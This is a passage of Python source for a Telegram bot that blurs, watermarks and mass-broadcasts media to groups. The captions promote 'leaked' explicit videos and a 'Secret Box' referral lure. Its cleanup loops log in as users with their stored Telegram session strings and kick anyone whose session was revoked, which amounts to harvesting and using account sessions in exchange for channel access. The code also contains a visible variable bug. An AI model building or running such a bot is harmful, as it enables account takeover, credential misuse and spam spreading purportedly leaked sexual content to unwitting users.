        await message.reply(f"📌 <b>Current Upload Server:</b> <code>{upload_mode.upper()}</code>\n\nTo change, use:\n👉 `/upload telegram` (Storage Channel Stream)\n👉 `/upload byse` (Byse.sx third-party player)")

@bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
async def set_blur_state(client, message):
    try:
        args = message.text.split()
        if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']:
            if message.chat.id in admin_states:
                admin_states[message.chat.id].pop("blur_percent", None)
                admin_states[message.chat.id].pop("clear_percent", None)
            await message.reply("✅ <b>Blur mode is disabled!</b>\nUploaded videos will no longer be blurred, only watermarked as before.", parse_mode=enums.ParseMode.HTML)
            return

        match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
        if match:
            percent = int(match.group(1))
            clear_percent = int(match.group(2)) if match.group(2) else 0

            if percent == 0:
                if message.chat.id in admin_states:
                    admin_states[message.chat.id].pop("blur_percent", None)
                    admin_states[message.chat.id].pop("clear_percent", None)
                await message.reply("✅ <b>Blur mode is disabled!</b>", parse_mode=enums.ParseMode.HTML)
                return

            if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
            admin_states[message.chat.id]["blur_percent"] = percent
            admin_states[message.chat.id]["clear_percent"] = clear_percent
            
            clear_msg = f"and the top <b>{clear_percent}%</b> part will remain clear." if clear_percent > 0 else "The entire photo/video will be blurred."
            reply_text = f"✅ <b>Blur set to: {percent}%</b>\n📌 {clear_msg}\n\nThis will be applied to all future uploads.\n<i>(To disable, send /blur 0)</i>"
            await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
        else: await message.reply("❌ <b>Invalid command!</b>\nCorrect format: `/blur 60` or `/blur 60 20`")
    except Exception as e: print(e)

def upload_file_sync(upload_url, file_path, api_key):
    try:
        with open(file_path, 'rb') as f:
            res = requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900)
            return res.json() if res.status_code == 200 else {}
    except Exception: return {}

@bot.on_message((filters.video | filters.animation | filters.photo | filters.document) & filters.private & filters.user(ADMIN_IDS))
async def handle_media_upload(client, message):
    global upload_mode
    state = admin_states.get(message.chat.id, {})
    if state.get("step") == "broadcast":
        await process_broadcast(client, message)
        return

    is_video = message.video or (message.document and message.document.mime_type and "video" in message.document.mime_type)
    is_animation = message.animation or (message.document and message.document.mime_type and "gif" in message.document.mime_type)
    is_photo = message.photo or (message.document and message.document.mime_type and "image" in message.document.mime_type)

    if not (is_video or is_animation or is_photo): return

    media_type = "video" if (is_video or is_animation) else "photo"
    has_blur_caption = message.caption and "/blur" in message.caption.lower()
    is_persistent_blur = bool(state.get("blur_percent"))

    if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
        status = await message.reply("⏳ Saving thumbnail...")
        try:
            local_path = await message.download()
            def upload_to_supabase():
                with open(local_path, 'rb') as f: file_bytes = f.read()
                file_name = f"thumb_{int(time.time())}.jpg"
                supabase.storage.from_('thumbnails').upload(file_name, file_bytes, {"content-type": "image/jpeg"})
                return supabase.storage.from_('thumbnails').get_public_url(file_name)

            direct_link = await asyncio.to_thread(upload_to_supabase)
            if os.path.exists(local_path): os.remove(local_path)
            await status.edit_text(f"✅ <b>Thumbnail saved successfully!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
        except Exception as e: await status.edit_text(f"⚠️ Upload Error: {e}")
        return

    raw_caption = message.caption or ""
    blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE)
    
    is_blur = False
    blur_percent = 0
    clear_percent = 0
    clean_caption = raw_caption

    if blur_match:
        is_blur = True
        blur_percent = int(blur_match.group(1))
        clear_percent = int(blur_match.group(2)) if match.group(2) else 0
        clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
    elif state.get("blur_percent"):
        is_blur = True
        blur_percent = state["blur_percent"]
        clear_percent = state.get("clear_percent", 0)

    is_large_video = False
    if media_type == "video":
        media = get_media_obj(message)
        duration = media.duration if media and hasattr(media, 'duration') and media.duration else 0
        file_size = media.file_size if media and hasattr(media, 'file_size') and media.file_size else 0
        MAX_DURATION = 7200 
        MAX_SIZE = 1900 * 1024 * 1024 

        if duration > MAX_DURATION or file_size > MAX_SIZE:
            is_large_video = True
            is_blur = False

    status_msg = await message.reply("⏳ <b>Video is too large!</b> Skipping blur..." if is_large_video else "⏳ Downloading media... 0%")
    bot_me = client.me if client.me else await client.get_me()
    bot_link = f"https://t.me/{bot_me.username}"
    
    original_file, watermarked_file, blurred_file = None, None, None
    clean_upload_file, telegram_file, embed_link = None, None, None
    
    last_update_time = time.time()
    async def download_progress(current, total):
        nonlocal last_update_time
        now = time.time()
        if now - last_update_time >= 4.0: 
            try:
                percent = (current / total) * 100
                await status_msg.edit_text(f"⏳ Downloading media... {percent:.1f}%")
                last_update_time = now
            except Exception: pass
    
    try:
        original_file = await message.download(progress=download_progress)
        clean_upload_file = original_file 
        
        if media_type == "video" and not is_large_video and ffmpeg_available:
            await status_msg.edit_text("⏳ Watermarking video... (HD + Superfast Processing)")
            watermarked_file = f"{original_file}_wm.mp4"
            
            has_audio = not (message.animation or (message.document and message.document.mime_type and "gif" in message.document.mime_type))
            audio_opts = ["-an"] if not has_audio else ["-c:a", "copy"]
            
            cmd = [
                "ffmpeg", "-y", "-i", original_file,
                "-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
                "-c:v", "libx264", "-preset", "superfast", "-crf", "23",
                "-pix_fmt", "yuv420p"
            ] + audio_opts + ["-movflags", "+faststart", watermarked_file]
            
            process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
            await process.communicate()
            
            if process.returncode == 0 and os.path.exists(watermarked_file) and os.path.getsize(watermarked_file) > 0: 
                clean_upload_file = watermarked_file

        storage_msg_id = None
        if media_type in ["video", "photo"]:
            if upload_mode == "telegram":
                await status_msg.edit_text("⏳ Uploading Clean HD video to your storage channel...")
                
                thumb_path_storage = None
                if ffmpeg_available:
                    thumb_path_storage = f"{original_file}_storage_thumb.jpg"
                    proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", clean_upload_file, "-vframes", "1", thumb_path_storage, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
                    await proc.communicate()
                    if not os.path.exists(thumb_path_storage): 
                        thumb_path_storage = None
                    
                media = get_media_obj(message)
                vid_duration = media.duration if media and hasattr(media, 'duration') and media.duration else 0
                vid_width = media.width if media and hasattr(media, 'width') and media.width else 0
                vid_height = media.height if media and hasattr(media, 'height') and media.height else 0

                sent_to_channel = await client.send_video(
                    chat_id=STORAGE_CHANNEL_ID, 
                    video=clean_upload_file, 
                    caption=f"Backup of video uploaded by Admin. File: {os.path.basename(clean_upload_file)}",
                    duration=vid_duration,
                    width=vid_width,
                    height=vid_height,
                    thumb=thumb_path_storage
                )
                storage_msg_id = sent_to_channel.id
                
                stream_link = f"{BACKEND_URL}/stream/{storage_msg_id}"
                download_link = f"{BACKEND_URL}/download/{storage_msg_id}"
                embed_link = stream_link
            else:
                await status_msg.edit_text("⏳ Uploading Clean HD video to byse.sx server...")
                api_endpoint = "https://api.byse.sx/upload/server"
                loop = asyncio.get_event_loop()
                response = await loop.run_in_executor(None, lambda: requests.get(api_endpoint, params={'key': BYSE_API_KEY}, timeout=30))
                result = response.json()
                
                if result.get('status') == 200:
                    upload_res = await loop.run_in_executor(None, upload_file_sync, result.get('result'), clean_upload_file, BYSE_API_KEY)
                    if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
                        file_status = upload_res['files'][0].get('status', '')
                        if "not allowed" in str(file_status).lower():
                            await status_msg.edit_text(f"❌ byse.sx rejected the file: <code>{file_status}</code>", parse_mode=enums.ParseMode.HTML)
                            return
                        file_code = upload_res['files'][0].get('filecode')
                        if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
                
                if not embed_link:
                    await status_msg.edit_text("❌ Uploaded to byse.sx but Embed Link not found.")
                    return
                
                stream_link = embed_link
                download_link = embed_link

        if is_large_video:
            admin_cap = f"✅ <b>Success! (Large Video)</b>\n\n🔗 <b>Embed Link (Clean HD):</b>\n<code>{embed_link or 'N/A'}</code>\n\n📌 <i>Broadcast skipped due to large file size.</i>"
            await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
            await status_msg.delete()
            return  

        telegram_file = clean_upload_file
        if is_blur and not is_large_video and ffmpeg_available:
            await status_msg.edit_text(f"⏳ Applying {blur_percent}% blur for Telegram broadcast...")
            radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
            ext = "jpg" if media_type == "photo" else "mp4"
            blurred_file = f"{original_file}_blurred.{ext}"
            
            if clear_percent > 0:
                clear_ratio = clear_percent / 100.0
                ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0[vout]", "-map", "[vout]"]
                if media_type == "video":
                    ff_filter.extend(["-map", "0:a?"])
            else:
                ff_filter = ["-vf", f"boxblur={radius}:1"]
            
            has_audio = not (message.animation or (message.document and message.document.mime_type and "gif" in message.document.mime_type))
            audio_opts_blur = ["-an"] if not has_audio else []
            
            if media_type == "photo": 
                cmd_blur = ["ffmpeg", "-y", "-i", clean_upload_file] + ff_filter + [blurred_file]
            else: 
                cmd_blur = ["ffmpeg", "-y", "-i", clean_upload_file] + ff_filter + ["-c:v", "libx264", "-preset", "superfast", "-crf", "23", "-pix_fmt", "yuv420p"] + audio_opts_blur + ["-movflags", "+faststart", blurred_file]
            
            process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
            await process_blur.communicate()
            
            if process_blur.returncode == 0 and os.path.exists(blurred_file) and os.path.getsize(blurred_file) > 0: 
                telegram_file = blurred_file

        await status_msg.edit_text("⏳ Preparing to broadcast to groups...")
        if media_type == "video":
            caption_text = (
                f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n"
                f"🎬 <b>Watch HD Video Here:</b>\n"
                f"👉 <b><a href='{embed_link if is_blur else bot_link}'>▶️ Click Here to Watch</a></b>\n\n"
                f"🎁 <b>App এর ভেতর 'Secret Box' ওপেন করে Premium Channel Claim করুন!</b> 👇"
            )
        else:
            caption_text = (
                f"{clean_caption}\n\n🎁 <b>App এর ভেতর 'Secret Box' ওপেন করে Premium Channel Claim করুন!</b> 👇"
                if clean_caption else 
                f"🔥 <b>New Premium Viral Content!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n🎁 <b>App এর ভেতর 'Secret Box' ওপেন করে Premium Channel Claim করুন!</b> 👇"
            )
            
        group_markup = InlineKeyboardMarkup([
            [InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)],
            [InlineKeyboardButton("🎁 Open Secret Box", url=f"{bot_link}?start=secretbox")]
        ])
        
        admin_cap = (
            f"✅ <b>Upload and Processing Complete!</b>\n\n"
            f"🎬 <b>Stream/Watch Online Link:</b>\n<code>{stream_link}</code>\n\n"
            f"📥 <b>Direct Download Link:</b>\n<code>{download_link}</code>"
        )
        
        thumb_path = None
        if media_type == "video" and ffmpeg_available:
            thumb_path = f"{original_file}_thumb.jpg"
            proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", telegram_file, "-vframes", "1", thumb_path, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
            await proc.communicate()
            if not os.path.exists(thumb_path): thumb_path = None

        try:
            if media_type == "photo":
                sent_to_admin = await client.send_photo(message.chat.id, telegram_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
            else:
                media = get_media_obj(message)
                vid_duration = media.duration if media and hasattr(media, 'duration') and media.duration else 0
                vid_width = media.width if media and hasattr(media, 'width') and media.width else 0
                vid_height = media.height if media and hasattr(media, 'height') and media.height else 0
                
                sent_to_admin = await client.send_video(
                    message.chat.id, 
                    telegram_file, 
                    caption=admin_cap, 
                    parse_mode=enums.ParseMode.HTML, 
                    duration=vid_duration, 
                    width=vid_width, 
                    height=vid_height, 
                    thumb=thumb_path
                )
            
            await save_progress(message.chat.id, 0, sent_to_admin.id)
            
        except Exception as e:
            await message.reply(f"❌ Failed to send final file to you: {e}")
            return
            
        tg_file_id = get_msg_file_id(sent_to_admin)
        if not tg_file_id:
            tg_file_id = get_msg_file_id(message)
            
        try: await status_msg.delete()
        except: pass
        
        try:
            groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
        except Exception as db_err:
            await message.reply(f"⚠️ Failed to fetch groups from database: {db_err}")
            return
            
        group_ids = [g['group_id'] for g in groups_res.data]
        success_count, fail_count = 0, 0
        
        for gid in set(group_ids):
            retries = 3
            while retries > 0:
                try:
                    if not client.is_connected: await client.connect()
                    if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
                    else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
                    success_count += 1
                    break
                except FloodWait as e:
                    await asyncio.sleep(e.value + 1)
                except Exception as e:
                    err_msg = str(e).lower()
                    if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg or "network" in err_msg:
                        retries -= 1
                        await asyncio.sleep(3)
                    else:
                        fail_count += 1
                        break
            await asyncio.sleep(1.5)
            
        retries = 3
        while retries > 0:
            try:
                if not client.is_connected: await client.connect()
                await message.reply(f"📢 <b>Broadcast Complete!</b>\n\n✅ Success: {success_count} groups\n❌ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML)
                break
            except FloodWait as e:
                await asyncio.sleep(e.value + 1)
            except Exception as e:
                err_msg = str(e).lower()
                if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg:
                    retries -= 1
                    await asyncio.sleep(3)
                else: break
        
    except Exception as e: 
        try: await message.reply(f"⚠️ Error during upload/broadcast: {str(e)}")
        except: pass
    finally:
        for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None, f"{original_file}_storage_thumb.jpg" if original_file else None]:
            if f and os.path.exists(f):
                try: os.remove(f)
                except: pass

@bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
async def bot_stats(client, message):
    try:
        users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
        videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
        groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
        await message.reply(f"📊 <b>Bot Stats:</b>\n👥 Users: <code>{users.count or 0}</code>\n🎬 Videos: <code>{videos.count or 0}</code>\n📢 Groups: <code>{groups.count or 0}</code>", parse_mode=enums.ParseMode.HTML)
    except Exception as e: print(e)

@bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
async def broadcast_command(client, message):
    admin_states[message.chat.id] = {"step": "broadcast"}
    await message.reply("📢 Send the message you want to broadcast. (Send /cancel to abort)")

async def process_broadcast(client, message):
    text = message.text or message.caption
    if text == '/cancel':
        admin_states.pop(message.chat.id, None)
        return await message.reply("❌ Cancelled.")
    
    await message.reply("⏳ Broadcast started...")
    admin_states.pop(message.chat.id, None)
    
    try:
        all_users, start, step = [], 0, 1000
        while True:
            res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
            if not res.data: break
            all_users.extend(res.data)
            start += step

        success, failed = 0, 0
        for u in all_users:
            try:
                await message.copy(chat_id=u['user_id'])
                success += 1
                await asyncio.sleep(0.15) 
            except FloodWait as e:
                await asyncio.sleep(e.value + 1)
                try:
                    await message.copy(chat_id=u['user_id'])
                    success += 1
                except Exception: failed += 1
            except Exception: failed += 1
                
        await message.reply(f"✅ Broadcast Complete!\nSuccess: {success}\nFailed: {failed}")
    except Exception as e: print(e)

@bot.on_message(filters.command("clean") & filters.private & filters.user(ADMIN_IDS))
async def manual_clean_channel(client, message):
    await message.reply("⏳ <b>Starting channel cleanup...</b>\nChecking database users to verify active sessions. This might take a while.")
    try:
        kicked, checked = 0, 0
        res_users = await db_query(lambda: supabase.table('referrals').select('user_id').execute())
        if not res_users.data:
            return await message.reply("❌ No users found in database!")
            
        user_ids = [u['user_id'] for u in res_users.data]
        
        for user_id in set(user_ids):
            try:
                chat_member = await bot.get_chat_member(PREMIUM_CHANNEL_ID, user_id)
                if chat_member.status in [enums.ChatMemberStatus.MEMBER, enums.ChatMemberStatus.RESTRICTED]:
                    checked += 1
                    res_session = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
                    
                    is_valid = False
                    if res_session.data:
                        session_string = res_session.data[0]['session_string']
                        temp_client = Client(f"manual_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
                        try:
                            await temp_client.connect()
                            await temp_client.get_me()
                            await temp_client.disconnect()
                            is_valid = True
                        except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
                            try: await temp_client.disconnect()
                            except: pass
                            await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
                        except Exception:
                            try: await temp_client.disconnect()
                            except: pass
                            is_valid = True 
                    
                    if not is_valid:
                        try:
                            await client.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
                            await client.unban_chat_member(PREMIUM_CHANNEL_ID, user_id) 
                            kicked += 1
                        except Exception: pass
                        
                await asyncio.sleep(1.5) 
            except FloodWait as e:
                await asyncio.sleep(e.value + 1)
            except Exception: pass
            
        await message.reply(f"✅ <b>Cleanup Complete!</b>\n\n👥 Members checked: {checked}\n👢 Users Kicked: {kicked}")
    except Exception as e:
        await message.reply(f"❌ Error: {e}")

async def auto_clean_channel_loop():
    await asyncio.sleep(60) 
    while True:
        try:
            res_users = await db_query(lambda: supabase.table('referrals').select('user_id').execute())
            if res_users.data:
                user_ids = [u['user_id'] for u in res_users.data]
                for user_id in set(user_ids):
                    try:
                        chat_member = await bot.get_chat_member(PREMIUM_CHANNEL_ID, user_id)
                        if chat_member.status in [enums.ChatMemberStatus.MEMBER, enums.ChatMemberStatus.RESTRICTED]:
                            res_session = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
                            
                            is_valid = False
                            if res_session.data:
                                session_string = res_session.data[0]['session_string']
                                temp_client = Client(f"bg_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
                                try:
                                    await temp_client.connect()
                                    await temp_client.get_me()
                                    await temp_client.disconnect()
                                    is_valid = True
                                except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
                                    try: await temp_client.disconnect()
                                    except: pass
                                    await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
                                except Exception:
                                    try: await temp_client.disconnect()
                                    except: pass
                                    is_valid = True 
                            
                            if not is_valid:
                                try:
                                    await bot.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
                                    await bot.unban_chat_member(PREMIUM_CHANNEL_ID, user_id)
                                except Exception: pass
                        await asyncio.sleep(2)
                    except FloodWait as e:
                        await asyncio.sleep(e.value + 1)
                    except Exception: pass
        except Exception as e:
            print(f"Auto clean error: {e}")
        await asyncio.sleep(4 * 3600) 

@bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur", "clean", "sendto", "clone", "cloneall", "upload", "startshare", "stopshare", "help"]))
async def catch_admin_steps(client, message):
    state = admin_states.get(message.chat.id, {})
    if state.get("step") == 1:
        if not message.text: return
        video_url = message.text.strip()
        if video_url == "/cancel":
            admin_states.pop(message.chat.id, None)
            return await message.reply("❌ Cancelled.")
            
        try:
            await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
            await message.reply("🎉 Video added successfully!")
        except Exception as e: print(e)
        finally: admin_states.pop(message.chat.id, None)
    elif state.get("step") == "broadcast":
        await process_broadcast(client, message)

# ==========================================
# REDIS QUEUE WATERMARK MULTIPROCESSING
# ==========================================
REDIS_URL = os.environ.get("REDIS_URL_1")

processing_owners = set()
MAX_CONCURRENT_VIDEOS = 5 

async def process_single_video(task, redis_client):
    global processing_owners
    clone_token = task['clone_token']
    owner_id = task['owner_id']
    message_id = task['message_id']
    wm_text = task['watermark_text']
    task_id = f"{owner_id}_{message_id}"
    
    raw_video_path = None
    watermarked_path = None
    thumb_path = f"thumb_{task_id}.jpg"
    clone_client = None
    
    print(f"▶️ [WM] Task Started for User: {owner_id}, Msg: {message_id}")
    
    try:
        clone_client = Client(f"clone_wm_{task_id}", bot_token=clone_token, api_id=API_ID, api_hash=API_HASH, in_memory=True)
        await clone_client.start()
        print(f"▶️ [WM] Clone Client Started Successfully")
        
        msg = await clone_client.get_messages(owner_id, message_id)
        if not msg or not (msg.video or msg.document):
            raise Exception("Video not found or deleted by user.")
            
        status_msg = await clone_client.send_message(owner_id, "⏳ <b>ভিডিও প্রসেসিং শুরু হয়েছে...</b>", parse_mode=enums.ParseMode.HTML)
        
        raw_video_path = await clone_client.download_media(msg)
        print(f"▶️ [WM] Original Video Downloaded: {raw_video_path}")
        
        await clone_client.edit_message_text(owner_id, status_msg.id, "⏳ <b>ওয়াটারমার্ক যুক্ত করা হচ্ছে... (High Speed CPU Mode)</b>", parse_mode=enums.ParseMode.HTML)
        
        watermarked_path = f"wm_{task_id}.mp4"
        
        cmd = [
            "ffmpeg", "-y", "-i", raw_video_path,
            "-vf", f"drawtext=text='{wm_text}':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
            "-c:v", "libx264", "-preset", "ultrafast", "-crf", "26", "-threads", "4",
            "-c:a", "copy", "-movflags", "+faststart", watermarked_path
        ]
        
        process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
        stdout, stderr = await process.communicate()
        
        if process.returncode != 0 or not os.path.exists(watermarked_path) or os.path.getsize(watermarked_path) == 0:
            raise Exception("FFmpeg processing failed! The video format might be unsupported.")
            
        print(f"▶️ [WM] FFmpeg Processing Complete!")
        
        thumb_cmd = ["ffmpeg", "-y", "-i", watermarked_path, "-vframes", "1", thumb_path]
        t_proc = await asyncio.create_subprocess_exec(*thumb_cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
        await t_proc.communicate()
        if not os.path.exists(thumb_path) or os.path.getsize(thumb_path) == 0:
            thumb_path = None
        
        await clone_client.edit_message_text(owner_id, status_msg.id, "⏳ <b>ফাইনাল ভিডিও স্টোরেজে আপলোড হচ্ছে...</b>", parse_mode=enums.ParseMode.HTML)
        
        async def backup_raw_video():
            try:
                await bot.send_video(chat_id=STORAGE_CHANNEL_ID, video=raw_video_path, caption=f"Original Backup for Clone Owner {owner_id}")
            except Exception: pass
        asyncio.create_task(backup_raw_video())
        
        wm_sent = await bot.send_video(
            chat_id=STORAGE_CHANNEL_ID,
            video=watermarked_path,
            caption=f"Watermarked Backup for Clone Owner {owner_id}",
            thumb=thumb_path
        )
        
        wm_storage_id = wm_sent.id
        stream_link = f"{BACKEND_URL}/stream/{wm_storage_id}"
        download_link = f"{BACKEND_URL}/download/{wm_storage_id}"
        
        final_caption = (
            f"✅ <b>Watermark Successfully Added!</b>\n\n"
            f"🎬 <b>Stream/Watch Online Link:</b>\n<code>{stream_link}</code>\n\n"
            f"📥 <b>Direct Download Link:</b>\n<code>{download_link}</code>"
        )
        
        await clone_client.send_video(
            chat_id=owner_id,
            video=watermarked_path,
            caption=final_caption,
            parse_mode=enums.ParseMode.HTML,
            thumb=thumb_path
        )
        
        await clone_client.delete_messages(owner_id, status_msg.id)
        
    except Exception as e:
        print(f"❌ [WM] Process Error: {e}")
        try:
            if clone_client and clone_client.is_connected:
                await clone_client.send_message(owner_id, f"❌ <b>Error processing video:</b> {e}", parse_mode=enums.ParseMode.HTML)
        except Exception as ex: 
            print(f"❌ [WM] Failed to send error msg to user: {ex}")
        
    finally:
        if raw_video_path and os.path.exists(raw_video_path): os.remove(raw_video_path)
        if watermarked_path and os.path.exists(watermarked_path): os.remove(watermarked_path)
        if thumb_path and os.path.exists(thumb_path): os.remove(thumb_path)
        
        if clone_client and clone_client.is_connected:
            await clone_client.stop()
            
        await redis_client.delete(f"wm_processing:{owner_id}")
        processing_owners.discard(owner_id) 
        print(f"▶️ [WM] Task Cleaned Up and Client Stopped")

async def watermark_processor_loop():
    global processing_owners
    
    if not REDIS_URL:
        print("⚠️ REDIS_URL missing in Hugging Space! Watermark feature disabled.")
        return
        
    try:
        redis_client = redis.Redis.from_url(REDIS_URL, decode_responses=True)
        await redis_client.ping()
        print("💧 Super-Fast Redis Watermark Processor Started!")
    except Exception as e:
        print(f"❌ Redis Connection Failed in Hugging Face: {e}")
        return
    
    try:
        async for key in redis_client.scan_iter("wm_processing:*"):
            await redis_client.delete(key)
    except: pass

    while True:
        try:
            if len(processing_owners) >= MAX_CONCURRENT_VIDEOS:
                await asyncio.sleep(2)
                continue 
            
            result = await redis_client.rpop("watermark_task_queue")
            
            if result:
                print(f"📥 [WM] Received New Video Task from Queue!")
                task = json.loads(result)
                owner_id = task['owner_id']
                
                processing_owners.add(owner_id)
                asyncio.create_task(process_single_video(task, redis_client))
            else:
                await asyncio.sleep(2)
                    
        except Exception as e:
            print(f"❌ [WM] Loop Error: {e}")
            await asyncio.sleep(2)
            
def run_flask(): app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)), threaded=True) 

async def main():
    try:
        await bot.start()
        print("🤖 Pyrogram Bot & Real Session API is running!")
        asyncio.create_task(auto_clean_channel_loop())
        asyncio.create_task(watermark_processor_loop()) 
        await idle()
    except Exception as e:
        print(f"❌ Failed to start Bot: {e}")
        while True: await asyncio.sleep(3600)
    finally:
        try: await bot.stop()
        except: pass

if __name__ == "__main__":
    threading.Thread(target=run_flask, daemon=True).start()
    main_loop.run_until_complete(main())